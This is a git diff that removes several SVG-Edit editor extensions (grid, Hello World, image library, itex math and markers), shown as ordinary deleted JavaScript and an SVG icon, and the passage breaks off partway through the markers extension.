-		var datauri = hcanv.toDataURL('image/png');
-		gridimg.setAttribute('width', big_int);
-		gridimg.setAttribute('height', big_int);
-		gridimg.parentNode.setAttribute('width', big_int);
-		gridimg.parentNode.setAttribute('height', big_int);
-		svgCanvas.setHref(gridimg, datauri);
-	}
-
-    return {
-        name: "view_grid",
-        svgicons: "extensions/grid-icon.xml",
-
-        zoomChanged: function(zoom) {
-            // update size
-            if(showGrid) updateGrid(zoom);
-        },
-
-        buttons: [{
-            id: "view_grid",
-            type: "context",
-            panel: "editor_panel",
-            title: "Show/Hide Grid",
-            events: {
-                'click': function() {
-                    var gr = !$('#view_grid').hasClass('push_button_pressed');
-                    if (gr) {
-                        svgEditor.curConfig.showGrid = showGrid = true;
-                        $('#view_grid').addClass('push_button_pressed').removeClass('tool_button');
-                        $('#canvasGrid').attr('display', 'normal');
-                        updateGrid(svgCanvas.getZoom());
-                    }
-                    else {
-                        svgEditor.curConfig.showGrid = showGrid = false;
-                        $('#view_grid').removeClass('push_button_pressed').addClass('tool_button');
-                        $('#canvasGrid').attr('display', 'none');
-                    }
-                }
-            }
-}]
-        };
-    });
diff --git a/public/svg-edit/editor/extensions/ext-helloworld.js b/public/svg-edit/editor/extensions/ext-helloworld.js
deleted file mode 100644
index a35c2410..00000000
--- a/public/svg-edit/editor/extensions/ext-helloworld.js
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * ext-helloworld.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- *
- */
- 
-/* 
-	This is a very basic SVG-Edit extension. It adds a "Hello World" button in
-	the left panel. Clicking on the button, and then the canvas will show the
- 	user the point on the canvas that was clicked on.
-*/
- 
-svgEditor.addExtension("Hello World", function() {
-
-		return {
-			name: "Hello World",
-			// For more notes on how to make an icon file, see the source of
-			// the hellorworld-icon.xml
-			svgicons: "extensions/helloworld-icon.xml",
-			
-			// Multiple buttons can be added in this array
-			buttons: [{
-				// Must match the icon ID in helloworld-icon.xml
-				id: "hello_world", 
-				
-				// This indicates that the button will be added to the "mode"
-				// button panel on the left side
-				type: "mode", 
-				
-				// Tooltip text
-				title: "Say 'Hello World'", 
-				
-				// Events
-				events: {
-					'click': function() {
-						// The action taken when the button is clicked on.
-						// For "mode" buttons, any other button will 
-						// automatically be de-pressed.
-						svgCanvas.setMode("hello_world");
-					}
-				}
-			}],
-			// This is triggered when the main mouse button is pressed down 
-			// on the editor canvas (not the tool panels)
-			mouseDown: function() {
-				// Check the mode on mousedown
-				if(svgCanvas.getMode() == "hello_world") {
-				
-					// The returned object must include "started" with 
-					// a value of true in order for mouseUp to be triggered
-					return {started: true};
-				}
-			},
-			
-			// This is triggered from anywhere, but "started" must have been set
-			// to true (see above). Note that "opts" is an object with event info
-			mouseUp: function(opts) {
-				// Check the mode on mouseup
-				if(svgCanvas.getMode() == "hello_world") {
-					var zoom = svgCanvas.getZoom();
-					
-					// Get the actual coordinate by dividing by the zoom value
-					var x = opts.mouse_x / zoom;
-					var y = opts.mouse_y / zoom;
-					
-					var text = "Hello World!\n\nYou clicked here: " 
-						+ x + ", " + y;
-						
-					// Show the text using the custom alert function
-					$.alert(text);
-				}
-			}
-		};
-});
-
diff --git a/public/svg-edit/editor/extensions/ext-imagelib.js b/public/svg-edit/editor/extensions/ext-imagelib.js
deleted file mode 100644
index 2c3dc422..00000000
--- a/public/svg-edit/editor/extensions/ext-imagelib.js
+++ /dev/null
@@ -1,444 +0,0 @@
-/*
- * ext-imagelib.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- *
- */
-
-svgEditor.addExtension("imagelib", function() {
-
-	var uiStrings = svgEditor.uiStrings;
-	
-	$.extend(uiStrings, {
-		imagelib: {
-			select_lib: 'Select an image library',
-			show_list: 'Show library list',
-			import_single: 'Import single',
-			import_multi: 'Import multiple',
-			open: 'Open as new document'
-		}
-	});
-
-	var img_libs = [{
-			name: 'Demo library (local)',
-			url: 'extensions/imagelib/index.html',
-			description: 'Demonstration library for SVG-edit on this server'
-		}, 
-		{
-			name: 'IAN Symbol Libraries',
-			url: 'http://ian.umces.edu/symbols/catalog/svgedit/album_chooser.php',
-			description: 'Free library of illustrations'
-		}
-	];
-	
-	var xlinkns = "http://www.w3.org/1999/xlink";
-
-	function closeBrowser() {
-		$('#imgbrowse_holder').hide();
-	}
-	
-	function importImage(url) {
-		var newImage = svgCanvas.addSvgElementFromJson({
-			"element": "image",
-			"attr": {
-				"x": 0,
-				"y": 0,
-				"width": 0,
-				"height": 0,
-				"id": svgCanvas.getNextId(),
-				"style": "pointer-events:inherit"
-			}
-		});
-		svgCanvas.clearSelection();
-		svgCanvas.addToSelection([newImage]);
-		svgCanvas.setImageURL(url);
-	}
-
-	var mode = 's';
-	var multi_arr = [];
-	var cur_meta;
-	var tranfer_stopped = false;
-	var pending = {};
-	
-	 window.addEventListener("message", function(evt) {
-		// Receive postMessage data
-		var response = evt.data;
-		
-		if(!response) {
-			// Do nothing
-			return;
-		}
-		
-		var char1 = response.charAt(0);
-		
-		var svg_str;
-		var img_str;
-		
-		if(char1 != "{" && tranfer_stopped) {
-			tranfer_stopped = false;
-			return;
-		}
-		
-		if(char1 == '|') {
-			var secondpos = response.indexOf('|', 1);
-			var id = response.substr(1, secondpos-1);
-			response = response.substr(secondpos+1);
-			char1 = response.charAt(0);
-
-		}
-		
-		
-		// Hide possible transfer dialog box
-		$('#dialog_box').hide();
-		
-		switch (char1) {
-			case '{':
-				// Metadata
-				tranfer_stopped = false;
-				var cur_meta = JSON.parse(response);
-				
-				pending[cur_meta.id] = cur_meta;
-				
-				var name = (cur_meta.name || 'file');
-				
-				var message = uiStrings.notification.retrieving.replace('%s', name);
-				
-				if(mode != 'm') {
-					$.process_cancel(message, function() {
-						tranfer_stopped = true;
-						// Should a message be sent back to the frame?
-						
-						$('#dialog_box').hide();
-					});
-				} else {
-					var entry = $('<div>' + message + '</div>').data('id', cur_meta.id);
-					preview.append(entry);
-					cur_meta.entry = entry;
-				}
-				
-				return;
-			case '<':
-				svg_str = true;
-				break;
-			case 'd':
-				if(response.indexOf('data:image/svg+xml') === 0) {
-					var pre = 'data:image/svg+xml;base64,';
-					var src = response.substring(pre.length);
-					response = svgCanvas.Utils.decode64(src);
-					svg_str = true;
-					break;
-				} else if(response.indexOf('data:image/') === 0) {
-					img_str = true;
-					break;
-				}
-				// Else fall through
-			default:
-				// TODO: See if there's a way to base64 encode the binary data stream
-// 				var str = 'data:;base64,' + svgCanvas.Utils.encode64(response, true);
-			
-				// Assume it's raw image data
-// 				importImage(str);
-			
-				// Don't give warning as postMessage may have been used by something else
-				if(mode !== 'm') {
-					closeBrowser();
-				} else {
-					pending[id].entry.remove();
-				}
-// 				$.alert('Unexpected data was returned: ' + response, function() {
-// 					if(mode !== 'm') {
-// 						closeBrowser();
-// 					} else {
-// 						pending[id].entry.remove();
-// 					}
-// 				});
-				return;
-		}
-		
-		switch (mode) {
-			case 's':
-				// Import one
-				if(svg_str) {
-					svgCanvas.importSvgString(response);
-				} else if(img_str) {
-					importImage(response);
-				}
-				closeBrowser();
-				break;
-			case 'm':
-				// Import multiple
-				multi_arr.push([(svg_str ? 'svg' : 'img'), response]);
-				var cur_meta = pending[id];
-				if(svg_str) {
-					if(cur_meta && cur_meta.name) {
-						var title = cur_meta.name;
-					}  else {
-						// Try to find a title
-						var xml = new DOMParser().parseFromString(response, 'text/xml').documentElement;
-						var title = $(xml).children('title').first().text() || '(SVG #' + response.length + ')';
-					}
-					if(cur_meta) {
-						preview.children().each(function() {
-							if($(this).data('id') == id) {
-								if(cur_meta.preview_url) {
-									$(this).html('<img src="' + cur_meta.preview_url + '">' + title);
-								} else {
-									$(this).text(title);
-								}
-								submit.removeAttr('disabled');
-							}
-						});
-					} else {
-						preview.append('<div>'+title+'</div>');
-						submit.removeAttr('disabled');
-					}
-				} else {
-					if(cur_meta && cur_meta.preview_url) {
-						var title = cur_meta.name || '';
-					}
-					if(cur_meta && cur_meta.preview_url) {
-						var entry = '<img src="' + cur_meta.preview_url + '">' + title;
-					} else {
-						var entry = '<img src="' + response + '">';
-					}
-				
-					if(cur_meta) {
-						preview.children().each(function() {
-							if($(this).data('id') == id) {
-								$(this).html(entry);
-								submit.removeAttr('disabled');
-							}
-						});
-					} else {
-						preview.append($('<div>').append(entry));
-						submit.removeAttr('disabled');
-					}
-
-				}
-				break;
-			case 'o':
-				// Open
-				if(!svg_str) break;
-				svgEditor.openPrep(function(ok) {
-					if(!ok) return;
-					svgCanvas.clear();
-					svgCanvas.setSvgString(response);
-					// updateCanvas();
-				});
-				closeBrowser();
-				break;
-		}
-	}, true);
-	
-	var preview, submit;
-
-	function toggleMulti(show) {
-	
-		$('#lib_framewrap, #imglib_opts').css({right: (show ? 200 : 10)});
-		if(!preview) {
-			preview = $('<div id=imglib_preview>').css({
-				position: 'absolute',
-				top: 45,
-				right: 10,
-				width: 180,
-				bottom: 45,
-				background: '#fff',
-				overflow: 'auto'
-			}).insertAfter('#lib_framewrap');
-			
-			submit = $('<button disabled>Import selected</button>').appendTo('#imgbrowse').click(function() {
-				$.each(multi_arr, function(i) {
-					var type = this[0];
-					var data = this[1];
-					if(type == 'svg') {
-						svgCanvas.importSvgString(data);
-					} else {
-						importImage(data);
-					}
-					svgCanvas.moveSelectedElements(i*20, i*20, false);
-				});
-				preview.empty();
-				multi_arr = [];
-				$('#imgbrowse_holder').hide();
-			}).css({
-				position: 'absolute',
-				bottom: 10,
-				right: -10
-			});
-
-		}
-		
-		preview.toggle(show);
-		submit.toggle(show);
-	}
-
-	function showBrowser() {
-
-		var browser = $('#imgbrowse');
-		if(!browser.length) {
-			$('<div id=imgbrowse_holder><div id=imgbrowse class=toolbar_button>\
-			</div></div>').insertAfter('#svg_docprops');
-			browser = $('#imgbrowse');
-
-			var all_libs = uiStrings.imagelib.select_lib;
-
-			var lib_opts = $('<ul id=imglib_opts>').appendTo(browser);
-			var frame = $('<iframe/>').prependTo(browser).hide().wrap('<div id=lib_framewrap>');
-			
-			var header = $('<h1>').prependTo(browser).text(all_libs).css({
-				position: 'absolute',
-				top: 0,
-				left: 0,
-				width: '100%'
-			});
-			
-			var cancel = $('<button>' + uiStrings.common.cancel + '</button>').appendTo(browser).click(function() {
-				$('#imgbrowse_holder').hide();
-			}).css({
-				position: 'absolute',
-				top: 5,
-				right: -10
-			});
-			
-			var leftBlock = $('<span>').css({position:'absolute',top:5,left:10}).appendTo(browser);
-			
-			var back = $('<button hidden>' + uiStrings.imagelib.show_list + '</button>').appendTo(leftBlock).click(function() {
-				frame.attr('src', 'about:blank').hide();
-				lib_opts.show();
-				header.text(all_libs);
-				back.hide();
-			}).css({
-				'margin-right': 5
-			}).hide();
-			
-			var type = $('<select><option value=s>' + 
-			uiStrings.imagelib.import_single + '</option><option value=m>' +
-			uiStrings.imagelib.import_multi + '</option><option value=o>' +
-			uiStrings.imagelib.open + '</option></select>').appendTo(leftBlock).change(function() {
-				mode = $(this).val();
-				switch (mode) {
-					case 's':
-					case 'o':
-						toggleMulti(false);
-						break;
-					
-					case 'm':
-						// Import multiple
-						toggleMulti(true);
-				}
-			}).css({
-				'margin-top': 10
-			});
-			
-			cancel.prepend($.getSvgIcon('cancel', true));
-			back.prepend($.getSvgIcon('tool_imagelib', true));
-			
-			$.each(img_libs, function(i, opts) {
-				$('<li>').appendTo(lib_opts).text(opts.name).click(function() {
-					frame.attr('src', opts.url).show();
-					header.text(opts.name);
-					lib_opts.hide();
-					back.show();
-				}).append('<span>' + opts.description + '</span>');
-			});
-			
-		} else {
-			$('#imgbrowse_holder').show();
-		}
-	}
-	
-	return {
-		svgicons: "extensions/ext-imagelib.xml",
-		buttons: [{
-			id: "tool_imagelib",
-			type: "app_menu", // _flyout
-			position: 4,
-			title: "Image library",
-			events: {
-				"mouseup": showBrowser
-			}
-		}],
-		callback: function() {
-		
-			$('<style>').text('\
-				#imgbrowse_holder {\
-					position: absolute;\
-					top: 0;\
-					left: 0;\
-					width: 100%;\
-					height: 100%;\
-					background-color: rgba(0, 0, 0, .5);\
-					z-index: 5;\
-				}\
-				\
-				#imgbrowse {\
-					position: absolute;\
-					top: 25px;\
-					left: 25px;\
-					right: 25px;\
-					bottom: 25px;\
-					min-width: 300px;\
-					min-height: 200px;\
-					background: #B0B0B0;\
-					border: 1px outset #777;\
-				}\
-				#imgbrowse h1 {\
-					font-size: 20px;\
-					margin: .4em;\
-					text-align: center;\
-				}\
-				#lib_framewrap,\
-				#imgbrowse > ul {\
-					position: absolute;\
-					top: 45px;\
-					left: 10px;\
-					right: 10px;\
-					bottom: 10px;\
-					background: white;\
-					margin: 0;\
-					padding: 0;\
-				}\
-				#imgbrowse > ul {\
-					overflow: auto;\
-				}\
-				#imgbrowse > div {\
-					border: 1px solid #666;\
-				}\
-				#imglib_preview > div {\
-					padding: 5px;\
-					font-size: 12px;\
-				}\
-				#imglib_preview img {\
-					display: block;\
-					margin: 0 auto;\
-					max-height: 100px;\
-				}\
-				#imgbrowse li {\
-					list-style: none;\
-					padding: .5em;\
-					background: #E8E8E8;\
-					border-bottom: 1px solid #B0B0B0;\
-					line-height: 1.2em;\
-					font-style: sans-serif;\
-					}\
-				#imgbrowse li > span {\
-					color: #666;\
-					font-size: 15px;\
-					display: block;\
-					}\
-				#imgbrowse li:hover {\
-					background: #FFC;\
-					cursor: pointer;\
-					}\
-				#imgbrowse iframe {\
-					width: 100%;\
-					height: 100%;\
-					border: 0;\
-				}\
-			').appendTo('head');
-		}
-	}
-});
-
diff --git a/public/svg-edit/editor/extensions/ext-imagelib.xml b/public/svg-edit/editor/extensions/ext-imagelib.xml
deleted file mode 100644
index 936578c0..00000000
--- a/public/svg-edit/editor/extensions/ext-imagelib.xml
+++ /dev/null
@@ -1,14 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg">
-	<g id="tool_imagelib">
-<svg width="201" height="211" xmlns="http://www.w3.org/2000/svg">
- <g>
-  <path fill="#efe8b8" stroke="#d6c47c" stroke-linecap="round" d="m2.75,49.51761l56.56,-46.26761c12.73,8.25 25.71001,7 46.44,0.75l-56.03999,47.23944l-22.72002,25.01056l-24.23999,-26.73239z" id="svg_2" stroke-width="7"/>
-  <path fill="#a03333" stroke="#3f3f3f" d="m3.75,203.25002c14.33301,7 30.66699,7 46,0l0,-152.00002c-14.66699,8 -32.33301,8 -47,0l1,152.00002zm45.75,-152.25002l56.25,-46.75l0,151l-56,48.00002m-47.25,-154.25002l57.25,-46.5" id="svg_1" stroke-width="7" stroke-linecap="round"/>
-  <path fill="#efe8b8" stroke="#d6c47c" stroke-linecap="round" d="m49.75,49.51801l56.56,-46.26801c12.72998,8.25 25.71002,7 46.44,0.75l-56.03998,47.239l-22.72003,25.011l-24.23999,-26.73199z" stroke-width="7" id="svg_5"/>
-  <path fill="#2f8e2f" stroke="#3f3f3f" d="m50.75,202.25c14.33301,7 30.66699,7.04253 46,0.04253l0,-151.04253c-14.66699,8 -32.33301,8 -47,0l1,151zm45.75,-151.25l56.25,-46.75l0,144.01219l-56,51.98782m-47.25,-151.25002l57.25,-46.5" stroke-width="7" stroke-linecap="round" id="svg_6"/>
-  <path fill="#efe8b8" stroke="#d6c47c" stroke-linecap="round" d="m95.75,49.51801l56.56,-46.26801c12.72998,8.25 25.71002,7 46.44,0.75l-56.03998,47.239l-22.72003,25.011l-24.23999,-26.73199z" stroke-width="7" id="svg_10"/>
-  <path fill="#336393" stroke="#3f3f3f" d="m96.75,200.29445c14.33301,7 30.66699,7 46,0l0,-149.04445c-14.66699,8 -32.33301,8 -47,0l1,149.04445zm45.75,-149.29445l56.25,-46.75l0,148.04445l-56,48m-47.25,-151.29445l57.25,-46.5" stroke-width="7" stroke-linecap="round" id="svg_11"/>
- </g>
-</svg>
-	</g>
-</svg>
\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/ext-itex.js b/public/svg-edit/editor/extensions/ext-itex.js
deleted file mode 100644
index 43b1e1b9..00000000
--- a/public/svg-edit/editor/extensions/ext-itex.js
+++ /dev/null
@@ -1,304 +0,0 @@
-/*
- * ext-itex.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Jacques Distler 
- * Copyright(c) 2010 Alexis Deveria 
- *
- */
-
-svgEditor.addExtension("itex", function(S) {
-		var svgcontent = S.svgcontent,
-			addElem = S.addSvgElementFromJson,
-			selElems,
-			svgns = "http://www.w3.org/2000/svg",
-			xlinkns = "http://www.w3.org/1999/xlink",
-			xmlns = "http://www.w3.org/XML/1998/namespace",
-			xmlnsns = "http://www.w3.org/2000/xmlns/",
-			se_ns = "http://svg-edit.googlecode.com",
-			htmlns = "http://www.w3.org/1999/xhtml",
-			mathns = "http://www.w3.org/1998/Math/MathML",
-			ajaxEndpoint = "../../itex",
-			editingitex = false,
-			svgdoc = S.svgroot.parentNode.ownerDocument,
-			started,
-			newFO;
-			
-			
-		var properlySourceSizeTextArea = function(){
-			// TODO: remove magic numbers here and get values from CSS
-			var height = $('#svg_source_container').height() - 80;
-			$('#svg_source_textarea').css('height', height);
-		};
-
-		function showPanel(on) {
-			var fc_rules = $('#fc_rules');
-			if(!fc_rules.length) {
-				fc_rules = $('<style id="fc_rules"><\/style>').appendTo('head');
-			} 
-			fc_rules.text(!on?"":" #tool_topath { display: none !important; }");
-			$('#itex_panel').toggle(on);
-		}
-
-		function toggleSourceButtons(on) {
-			$('#tool_source_save, #tool_source_cancel').toggle(!on);
-			$('#itex_save, #itex_cancel').toggle(on);
-		}
-		
-		// Function: setItexString(string, url)
-		// This function sets the content of of the currently-selected foreignObject element,
-		// based on the itex contained in string.
-		//
-		// Parameters:
-		// string - The itex text.
-		// url - the url of the itex server to do the conversion
-		//
-		// Returns:
-		// This function returns false if the set was unsuccessful, true otherwise.
-		function setItexString(tex) {
-			var elt = selElems[0];
-			try {
-				var math = svgdoc.createElementNS(mathns, 'math');
-				math.setAttributeNS(xmlnsns, 'xmlns', mathns);
-				math.setAttribute('display', 'inline');
-				var semantics = document.createElementNS(mathns, 'semantics');
-				var annotation = document.createElementNS(mathns, 'annotation');
-				annotation.setAttribute('encoding', 'application/x-tex');
-				annotation.textContent = tex;
-				var mrow = document.createElementNS(mathns, 'mrow');
-				semantics.appendChild(mrow);
-				semantics.appendChild(annotation);
-				math.appendChild(semantics);
-				// make an AJAX request to the server, to get the MathML
-				$.post(ajaxEndpoint, {'tex': tex, 'display': 'inline'}, function(data){
-				    var children = data.documentElement.childNodes;
-				    while (children.length > 0) {
-				      mrow.appendChild(svgdoc.adoptNode(children[0], true));
-				    }
-				    S.sanitizeSvg(math);
-				    S.call("changed", [elt]);
-				});
-				elt.replaceChild(math, elt.firstChild);
-				S.call("changed", [elt]);
-				svgCanvas.clearSelection();
-			} catch(e) {
-				console.log(e);
-				return false;
-			}
-	
-			return true;
-		};
-
-		function showItexEditor() {
-			var elt = selElems[0];
-			var annotation = jQuery('math > semantics > annotation', elt);
-			if (!annotation || editingitex) return;
-			editingitex = true;
-			toggleSourceButtons(true);
-			// elt.removeAttribute('fill');
-
-			var str = annotation.text();
-			$('#svg_source_textarea').val(str);
-			$('#svg_source_editor').fadeIn();
-			properlySourceSizeTextArea();
-			$('#svg_source_textarea').focus();
-		}
-		
-		function setAttr(attr, val) {
-			svgCanvas.changeSelectedAttribute(attr, val);
-			S.call("changed", selElems);
-		}
-		
-		
-		return {
-			name: "itex",
-			svgicons: "extensions/itex-icons.xml",
-			buttons: [{
-				id: "tool_itex",
-				type: "mode",
-				title: "itex Tool",
-				events: {
-					'click': function() {
-						svgCanvas.setMode('itex')
-					}
-				}
-			},{
-				id: "edit_itex",
-				type: "context",
-				panel: "itex_panel",
-				title: "Edit TeX Content",
-				events: {
-					'click': function() {
-						showItexEditor();
-					}
-				}
-			}],
-			
-			context_tools: [{
-				type: "input",
-				panel: "itex_panel",
-				title: "Change enclosing foreignObject's width",
-				id: "itex_width",
-				label: "w",
-				size: 3,
-				events: {
-					change: function() {
-						setAttr('width', this.value);
-					}
-				}
-			},{
-				type: "input",
-				panel: "itex_panel",
-				title: "Change enclosing foreignObject's height",
-				id: "itex_height",
-				label: "h",
-				events: {
-					change: function() {
-						setAttr('height', this.value);
-					}
-				}
-			}, {
-				type: "input",
-				panel: "itex_panel",
-				title: "Change font size",
-				id: "itex_font_size",
-				label: "font-size",
-				size: 2,
-				defval: 16,
-				events: {
-					change: function() {
-						setAttr('font-size', this.value);
-					}
-				}
-			}
-			
-			
-			],
-			callback: function() {
-				$('#itex_panel').hide();
-
-				var endChanges = function() {
-					$('#svg_source_editor').hide();
-					editingitex = false;
-					$('#svg_source_textarea').blur();
-					toggleSourceButtons(false);
-				}
-
-				// TODO: Needs to be done after orig icon loads
-				setTimeout(function() {				
-					// Create source save/cancel buttons
-					var save = $('#tool_source_save').clone()
-						.hide().attr('id', 'itex_save').unbind()
-						.appendTo("#tool_source_back").click(function() {
-							
-							if (!editingitex) return;
-
-							if (!setItexString($('#svg_source_textarea').val())) {
-								$.confirm("Errors found. Revert to original?", function(ok) {
-									if(!ok) return false;
-									endChanges();
-								});
-							} else {
-								endChanges();
-							}
-							// setSelectMode();	
-						});
-						
-					var cancel = $('#tool_source_cancel').clone()
-						.hide().attr('id', 'itex_cancel').unbind()
-						.appendTo("#tool_source_back").click(function() {
-							endChanges();
-						});
-					
-				}, 3000);
-			},
-			mouseDown: function(opts) {
-				var e = opts.event;
-				
-				if(svgCanvas.getMode() == "itex") {
-
-					started = true;
-					newFO = S.addSvgElementFromJson({
-						"element": "foreignObject",
-						"attr": {
-							"x": opts.start_x,
-							"y": opts.start_y,
-							"id": S.getNextId(),
-							"font-size": 16, //cur_text.font_size,
-							"width": "48",
-							"height": "20",
-							"style": "pointer-events:inherit"
-						}
-					});
-					var m = svgdoc.createElementNS(mathns, 'math');
-					m.setAttributeNS(xmlnsns, 'xmlns', mathns);
-					m.setAttribute('display', 'inline');
-					var semantics = svgdoc.createElementNS(mathns, 'semantics');
-					var mrow = svgdoc.createElementNS(mathns, 'mrow');
-					var mi = svgdoc.createElementNS(mathns, 'mi');
-					mi.setAttribute('mathvariant', 'normal');
-					mi.textContent = "\u03A6";
-					var mo = svgdoc.createElementNS(mathns, 'mo');
-					mo.textContent = "\u222A";
-					var mi2 = svgdoc.createElementNS(mathns, 'mi');
-					mi2.textContent = "\u2133";
-					var annotation = svgdoc.createElementNS(mathns, 'annotation');
-					annotation.setAttribute('encoding', 'application/x-tex');
-					annotation.textContent = "\\Phi \\union \\mathcal{M}";
-					mrow.appendChild(mi);
-					mrow.appendChild(mo);
-					mrow.appendChild(mi2);
-					semantics.appendChild(mrow);
-					semantics.appendChild(annotation);
-					m.appendChild(semantics);
-					newFO.appendChild(m);
-					return {
-						started: true
-					}
-				}
-			},
-			mouseUp: function(opts) {
-				var e = opts.event;				
-				if(svgCanvas.getMode() == "itex" && started) {
-					var attrs = $(newFO).attr(["width", "height"]);
-					keep = (attrs.width != 0 || attrs.height != 0);					
-					svgCanvas.addToSelection([newFO], true);
-
-					return {
-						keep: keep,
-						element: newFO
-					}
-
-				}
-				
-			},
-			selectedChanged: function(opts) {
-				// Use this to update the current selected elements
-				selElems = opts.elems;
-				
-				var i = selElems.length;
-				
-				while(i--) {
-					var elem = selElems[i];
-					if(elem && elem.tagName == "foreignObject") {
-						if(opts.selectedElement && !opts.multiselected &&
-							  elem.firstElementChild.namespaceURI == mathns ) {
-							$('#itex_font_size').val(elem.getAttribute("font-size"));
-							$('#itex_width').val(elem.getAttribute("width"));
-							$('#itex_height').val(elem.getAttribute("height"));
-						
-							showPanel(true);
-						} else {
-							showPanel(false);
-						}
-					} else {
-						showPanel(false);
-					}
-				}
-			},
-			elementChanged: function(opts) {
-				var elem = opts.elems[0];
-			}
-		};
-});
diff --git a/public/svg-edit/editor/extensions/ext-markers.js b/public/svg-edit/editor/extensions/ext-markers.js
deleted file mode 100644
index 25b08be9..00000000
--- a/public/svg-edit/editor/extensions/ext-markers.js
+++ /dev/null
@@ -1,572 +0,0 @@
-/*
- * ext-markers.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Will Schleter 
- *   based on ext-arrows.js by Copyright(c) 2010 Alexis Deveria
- *
- * This extension provides for the addition of markers to the either end
- * or the middle of a line, polyline, path, polygon. 
- * 
- * Markers may be either a graphic or arbitary text
- * 
- * to simplify the coding and make the implementation as robust as possible,
- * markers are not shared - every object has its own set of markers.
- * this relationship is maintained by a naming convention between the
- * ids of the markers and the ids of the object
- * 
- * The following restrictions exist for simplicty of use and programming
- *    objects and their markers to have the same color
- *    marker size is fixed
- *    text marker font, size, and attributes are fixed
- *    an application specific attribute - se_type - is added to each marker element
- *        to store the type of marker
- *        
- * TODO:
- *    remove some of the restrictions above
- *    add option for keeping text aligned to horizontal
- *    add support for dimension extension lines
- *
- */
-
-svgEditor.addExtension("Markers", function(S) {
-	var svgcontent = S.svgcontent,
-	addElem = S.addSvgElementFromJson,
-	selElems;
-
-	var mtypes = ['start','mid','end'];
-
-	var marker_prefix = 'se_marker_';
-	var id_prefix = 'mkr_';
-		
-	// note - to add additional marker types add them below with a unique id
-	// and add the associated icon(s) to marker-icons.svg
-	// the geometry is normallized to a 100x100 box with the origin at lower left
-	// Safari did not like negative values for low left of viewBox
-	// remember that the coordinate system has +y downward
-	var marker_types = {
-		nomarker: {},  
-		leftarrow:  
-			{element:'path', attr:{d:'M0,50 L100,90 L70,50 L100,10 Z'}},
-		rightarrow:
-			{element:'path', attr:{d:'M100,50 L0,90 L30,50 L0,10 Z'}},
-		textmarker:
-			{element:'text', attr: {x:0, y:0,'stroke-width':0,'stroke':'none','font-size':75,'font-family':'serif','text-anchor':'left',
-				'xml:space': 'preserve'}},
-		forwardslash:
-			{element:'path', attr:{d:'M30,100 L70,0'}},
-		reverseslash:
-			{element:'path', attr:{d:'M30,0 L70,100'}},
-		verticalslash:
-			{element:'path', attr:{d:'M50,0 L50,100'}},
-		box:
-			{element:'path', attr:{d:'M20,20 L20,80 L80,80 L80,20 Z'}},
-		star:
-			{element:'path', attr:{d:'M10,30 L90,30 L20,90 L50,10 L80,90 Z'}},
-		xmark:
-			{element:'path', attr:{d:'M20,80 L80,20 M80,80 L20,20'}},
-		triangle:
-			{element:'path', attr:{d:'M10,80 L50,20 L80,80 Z'}},
-		mcircle:
-			{element:'circle', attr:{r:30, cx:50, cy:50}},			
-	}
-	
-	
-	var lang_list = {
-		"en":[
-			{id: "start_marker_list", title: "Select start marker type" },
-			{id: "mid_marker_list", title: "Select mid marker type" },
-			{id: "end_marker_list", title: "Select end marker type" },
-			{id: "nomarker", title: "No Marker" },
-			{id: "leftarrow", title: "Left Arrow" },
-			{id: "rightarrow", title: "Right Arrow" },
-			{id: "textmarker", title: "Text Marker" },
-			{id: "forwardslash", title: "Forward Slash" },
-			{id: "reverseslash", title: "Reverse Slash" },
-			{id: "verticalslash", title: "Vertical Slash" },
-			{id: "box", title: "Box" },
-			{id: "star", title: "Star" },
-			{id: "xmark", title: "X" },
-			{id: "triangle", title: "Triangle" },
-			{id: "mcircle", title: "Circle" },
-			{id: "leftarrow_o", title: "Open Left Arrow" },
-			{id: "rightarrow_o", title: "Open Right Arrow" },
-			{id: "box_o", title: "Open Box" },
-			{id: "star_o", title: "Open Star" },
-			{id: "triangle_o", title: "Open Triangle" },
-			{id: "mcircle_o", title: "Open Circle" },
-		]
-	};
-
-
-	// duplicate shapes to support unfilled (open) marker types with an _o suffix
-	$.each(['leftarrow','rightarrow','box','star','mcircle','triangle'],function(i,v) {
-		marker_types[v+'_o'] = marker_types[v];
-	});
-	
-	// elem = a graphic element will have an attribute like marker-start
-	// attr - marker-start, marker-mid, or marker-end
-	// returns the marker element that is linked to the graphic element
-	function getLinked(elem, attr) {
-		var str = elem.getAttribute(attr);
-		if(!str) return null;
-		var m = str.match(/\(\#(.*)\)/);
-		if(!m || m.length !== 2) {
-			return null;
-		}
-		return S.getElem(m[1]);
-	}
-
-	//toggles context tool panel off/on
-	//sets the controls with the selected element's settings
-	function showPanel(on) {
-		$('#marker_panel').toggle(on);
-
-		if(on) {
-			var el = selElems[0];
-			var val;
-			var ci;
-
-			$.each(mtypes, function(i, pos) {
-				var m=getLinked(el,"marker-"+pos);
-				var txtbox = $('#'+pos+'_marker');
-				if (!m) {
-					val='\\nomarker';
-					ci=val;
-					txtbox.hide() // hide text box
-				} else {
-					if (!m.attributes.se_type) return; // not created by this extension
-					val='\\'+m.attributes.se_type.textContent;
-					ci=val;
-					if (val=='\\textmarker') {
-						val=m.lastChild.textContent;
-						//txtbox.show(); // show text box
-					} else {
-						txtbox.hide() // hide text box
-					}
-				}
-				txtbox.val(val);				
-				setIcon(pos,ci);
-			})
-		}
-	}	
-
-	function addMarker(id, val) {
-		var txt_box_bg = '#ffffff';
-		var txt_box_border = 'none';
-		var txt_box_stroke_width = 0;
-		
-		var marker = S.getElem(id);
-
-		if (marker) return;
-
-		if (val=='' || val=='\\nomarker') return;
-
-		var el = selElems[0];		 
-		var color = el.getAttribute('stroke');
-		//NOTE: Safari didn't like a negative value in viewBox
-		//so we use a standardized 0 0 100 100
-		//with 50 50 being mapped to the marker position
-		var refX = 50;
-		var refY = 50;
-		var viewBox = "0 0 100 100";
-		var markerWidth = 5;
-		var markerHeight = 5;
-		var strokeWidth = 10;
-		if (val.substr(0,1)=='\\') se_type=val.substr(1);
-		else se_type='textmarker';
-
-		if (!marker_types[se_type]) return; // an unknown type!
-		
- 		// create a generic marker
-		marker = addElem({
-			"element": "marker",
-			"attr": {
-			"id": id,
-			"markerUnits": "strokeWidth",
-			"orient": "auto",
-			"style": "pointer-events:none",
